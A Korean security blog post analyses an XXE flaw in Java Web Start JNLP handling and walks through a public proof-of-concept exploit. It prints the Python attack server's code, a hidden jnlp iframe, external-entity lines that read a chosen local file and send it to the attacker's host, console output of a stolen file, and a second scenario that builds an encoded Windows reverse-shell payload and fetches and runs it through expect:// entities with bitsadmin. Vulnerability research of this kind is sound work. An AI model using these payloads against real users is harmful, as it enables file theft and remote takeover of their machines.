오늘은 지난 10월 말 공개된 JAVA SE 관련 XXE 취약점에 대해 이야기할까 합니다.
Vulnerability Metrics
JAVA SE 8 버전 u131 빌드 이전에 발생하는 취약점입니다. XXE를 통해 파일 탈취, SSRF, 코드실행(환경에 따라) 등 여러가지 공격이 가능합니다.>v8u131
보편적으로 XXE 취약점은 서버단에서 동작하는 케이스가 많습니다만 이 취약점의 경우 클라이언트단 코드 실행으로 사용자를 대상으로한 웹 기반 공격에 사용될 수 있습니다.
CVSS로 풀어보면 아래와 같습니다.
CIA: P/P/P
Access Vector: network
Access Complexity: medium
Auth: none
(AV:N/AC:M/Au:N/C:P/I:P/A:P)
XXE이기 때문에 영향력은 확실하네요.
JNLP?
Java Network Launch Protocol(JNLP)의 약자로 원격지의 웹 서버에서 돌아가고 있는 응용프로그램에 대해 명령을 전달하는 프로토콜입니다. Java 플러그인이나 JWS(Java Web Start)에서도 사용되고 있죠.
https://docs.oracle.com/javase/tutorial/deployment/deploymentInDepth/jnlp.html
JNLP API
- FileOpenService API
- FileSaveService API
- ClipboardService API
- PrintService API
- PersistenceService API
- DownloadService API
- DownloadServiceListener API
- SingleInstanceService AP
- ExtendedService API
자세한 내용은 https://docs.oracle.com/javase/8/docs/jre/api/javaws/jnlp/javax/jnlp/package-summary.html 참조
JNLP는 Registry(HKEY_CLASSES_ROOT\jnlp\Shell\Open\Command\Default)에 등록된 jp2launcher.exe 를 사용해서 동작하고,
대체로 jre/bin 아래 존재합니다.
C:\Program Files\Java\jre1.8.0_131\bin\jp2launcher.exe" -securejws "%1"
재미있는건 JRE가 JNLP 프로토콜을 만날 때 별도의 커스텀 프로토콜 등록 과정(아마 JRE 설치 시 포함됬을 것 같네요)이 없어도 동작이 가능하다는 점입니다. 예를들면..
<iframe src="jnlp://192.168.56.101/test.jnlp"></iframe>
이런 구문이 웹상에서 있을 때 웹 브라우저는 jnlp 프토토콜을 통해 192.168.56.101 서버와 통신을 하게됩니다.
그럼 의문이 생기겠죠? 이게 왜 위험하게 된걸까?
Vulnerability
JNLP는 XML을 파싱하여 명령을 수행합니다. 공식홈에서 제공하는 코드를 보면 XML 안에 <jnlp> 태그로 선언이 이루어집니다. 그 안에 각각 태그로 어플리케이션에 대한 정보를 넘겨주고, 응답을 받은 Java SE(Client)는 이 요청에 따라 명령을 수행하게됩니다.<?xml version="1.0" encoding="UTF-8"?>
<jnlp spec="1.0+" codebase="" href="">
<information>
<title>Dynamic Tree Demo</title>
<vendor>Dynamic Team</vendor>
<icon href="sometree-icon.jpg"/>
<offline-allowed/>
</information>
<resources>
<!-- Application Resources -->
<j2se version="1.6+" href=
"http://java.sun.com/products/autodl/j2se"/>
<jar href="DynamicTreeDemo.jar"
main="true" />
</resources>
<application-desc
name="Dynamic Tree Demo Application"
main-class="webstartComponentArch.DynamicTreeApplication"
width="300"
height="300">
</application-desc>
<update check="background"/>
</jnlp>
여기서 봐야할부분은 XML을 이용한 통신입니다. 예전이나 지금이나 XML에 관련된 공격 기법은 자꾸 늘어나고 있고 현재 웹 공격의 메타인 XXE까지 시도해볼 수 있는 부분들이 많이 있겟지요.
코드 보기에 앞서 JWS의 동작 순서만 조금 정리해봅시다.
1. 클라이언트의 웹 브라우저가 JWS App내 JNLP 프로토콜(jnsp://~~)로 접근
2. 웹 서버는 요청하는 JNLP 파일을 반환(해당 데이터는 XML)
3. 클라이언트는 JNLP 파일에 있는 Jar 파일의 경로를 참조하여 다운로드 후 main 메소드 호출
4. Java App 구동 시작
정상적인 JWS<->JNLP 구동은 이런 순서로 이루어집니다. 이 취약점에서는 3번 항목에 ENTITY 구문을 넣어 XXE로 구동 시킨 경우입니다.
1. 클라이언트의 웹 브라우저가 JWS App내 JNLP 프로토콜(jnsp://~~)로 접근
2. 웹 서버는 요청하는 JNLP 파일을 반환(해당 데이터는 XML)
3. 클라이언트는 JNLP 파일에 있는 Jar 파일의 경로를 참조하여 다운로드 후 main 메소드 호출
+ <ENTITY> 구문을 통해 공격자가 원하는 동작 수행
+ 여기부턴 일반적인 XXE 구문과 동일
4. Java App 구동 시작
실제 공격코드는 ..
<!ENTITY %% data SYSTEM "file:///%s">
<!ENTITY %% param1 "<!ENTITY % exfil SYSTEM 'http://%s:9090/leaked?%%data;'>">
이런식으로 구성되고 윗줄은 %s(파라미터값 중 파일이름)를 읽어 파일을 가져오고 그 내용을 data 에 저장한 후
다음 구문에서 원격지 주소(공격자)로 data 값을 포함한 GET 요청을 던지도록 구성되어있습니다.
XXE를 이용해서 파일 내용을 탈취하는 구문으로 보시면 됩니다.
자 이제 PoC 코드를 볼까요?
PoC Code
정말 아주 단순합니다. 페이지 자체에 jnlp를 사용해서 링크를 걸고 해당 데이터엔 XXE 구문을 넣어주기만 하면 끝이죠.공개된 PoC에선 파일을 읽어 공격자에게 전송하는 코드로 만들었네요.
전체 코드(https://www.exploit-db.com/exploits/43103/)
def do_GET(self) 함수로 웹 요청을 처리합니다. URI Path 값을 기준으로 if로 분기해서 각각 때에 맞는 동작을 수행하지요.
/leaked
if "leaked" in self.path:
print "(+) stolen: %s" % self.path.split("?")[1]
self.send_response(200)
self.end_headers()
leaked 부분은 흐름상 마지막 부분입니다. XXE롤 통해 넘어온 정보(파일의 내용)을 받아 공격자 서버로 print 해줍니다.
/
elif self.path == "/":
print "(!) firing webstart..."
self.send_response(200)
self.end_headers()
message = """
<html>
<body>
<iframe src="jnlp://%s:9090/%s" style="width:0;height:0;border:0; border:none;"></iframe>
</body>
</html>
""" % (ip, path)
self.wfile.write(message)
self.wfile.write('\n')
/ 는 첫 호출 시 iframe으로 jnlp 프로토콜을 호출하는 과정입니다. 다만 jnlp 프로토콜을 호출해서 동작할 수 있는 태그들에 대해 테스트좀 해봐야할 것 같네요.iframe, object, embed 는 될 것 같고.. img나 이런 범용적인 친구들중에 나오면 나이스일듯
/si.xlm
elif "si.xml" in self.path:
print "(!) downloading si.xml..."
self.send_response(200)
self.end_headers()
message = """
<!ENTITY %% data SYSTEM "file:///%s">
<!ENTITY %% param1 "<!ENTITY % exfil SYSTEM 'http://%s:9090/leaked?%%data;'>">
""" % (file, ip)
self.wfile.write(message)
self.wfile.write('\n')
si.xml을 호출하는 과정은 jnlp 코드가 로드된 이후입니다. jnlp 프로토콜로 si.xml을 호출하게 되고 여기에는 실제 공격구문이 들어가게 되죠.
Other
elif path in self.path:
print "(!) downloading jnlp..."
self.send_response(200)
self.end_headers()
message = """
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY %% sp SYSTEM "http://%s:9090/si.xml">
%%sp;
%%param1;
%%exfil;
]>
""" % ip
self.wfile.write(message)
self.wfile.write('\n')
return
jnlp 코드가 호출되면 XXE 코드를 통해 payload가 담긴 진짜 XXE 코드를 불러오게 됩니다.
Exploit
#> python exp.py 'C:/Program Files/Java/jre7/README.txt'Oracle Java Web Start JNLP XML External Entity Processing Information Disclosure Vulnerability
mr_me 2017
(+) select your interface: lo, wlp1s0, enx00e04c560cd5, docker0: enx00e04c560cd5
jnlp://192.168.56.1:9090/yapjayuflm.jnlp
(+) starting xxe server...
(+) have someone with Java SE installed visit: http://192.168.56.1:9090/
(!) firing webstart...
Poc 구동 시 웹 서버가 활성화되고(파이썬) 9090 포트를 열어 요청에 대기합니다.
클라이언트 접근 시
jnlp 프로토콜을 주소로하는 iframe 코드를 생성하여 사용자로 하여금 해당 페이지에 접근하게 합니다. jnlp 프로토콜이기 때문에 jnlp 파일을 다운로드하고 그 안에 xml 코드를 실행하게 되죠.
xml가 정상적으로 실행되면 내부에 있던 XXE 구문으로 인해 공격자가 지정한 파일의 값을 읽어 공격자 콘솔로 넘겨줍니다.
<!ENTITY %% data SYSTEM "file:///%s">
<!ENTITY %% param1 "<!ENTITY % exfil SYSTEM 'http://%s:9090/leaked?%%data;'>">
![]() |
README.txt 파일을 잘 읽어왔네요. |
Other scenario
사용자 대상 공격이라 아마 거의 없을 듯 하지만.. 혹시라도 php와 expect 모듈이 깔려있다면 쉽게 쉘까지 획득 가능할겁니다.먼저 payload 파일을 만들어줍니다.
#> hvenom -a x86 --platform windows -p windows/shell/reverse_tcp LHOST=192.168.56.1 LPORT=4444 -b "\x00" -e x86/shikata_ga_nai -f exe -o p.exe
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 360 (iteration=0)
x86/shikata_ga_nai chosen with final size 360
Payload size: 360 bytes
Final size of exe file: 73802 bytes
Saved as: p.exe
그리고 공격구문엔 p.exe를 다운로드 하는 구문과 실행하는 구문을 넣어 XXE가 동작할때 payload를 실행하도록 합니다.
<!ENTITY test SYSTEM "expect://bitsadmin /transfer get http://192.168.56.1/p.exe %cd%p.exe">
<!ENTITY test SYSTEM "expect://start p.exe">
※ 여기서 팁 하나, 윈도우에서 파워쉘을 사용하지 않아도 bitsadmin 명령으로도 파일 다운로드가 가능합니다.
자 이제 handler 돌려주시고..
HAHWUL exploit(handler) > exploit -z
[*] Exploit running as background job 0.
[*] Started reverse TCP handler on 192.168.56.1:4444
XXE를 동작시켜보면
Reference
https://www.exploit-db.com/exploits/43103/https://docs.oracle.com/javase/tutorial/deployment/deploymentInDepth/jnlp.html
https://docs.oracle.com/javase/8/docs/jre/api/javaws/jnlp/javax/jnlp/package-summary.html
![]() |
HAHWULSecurity engineer, Gopher and H4cker! |
0 개의 댓글:
Post a Comment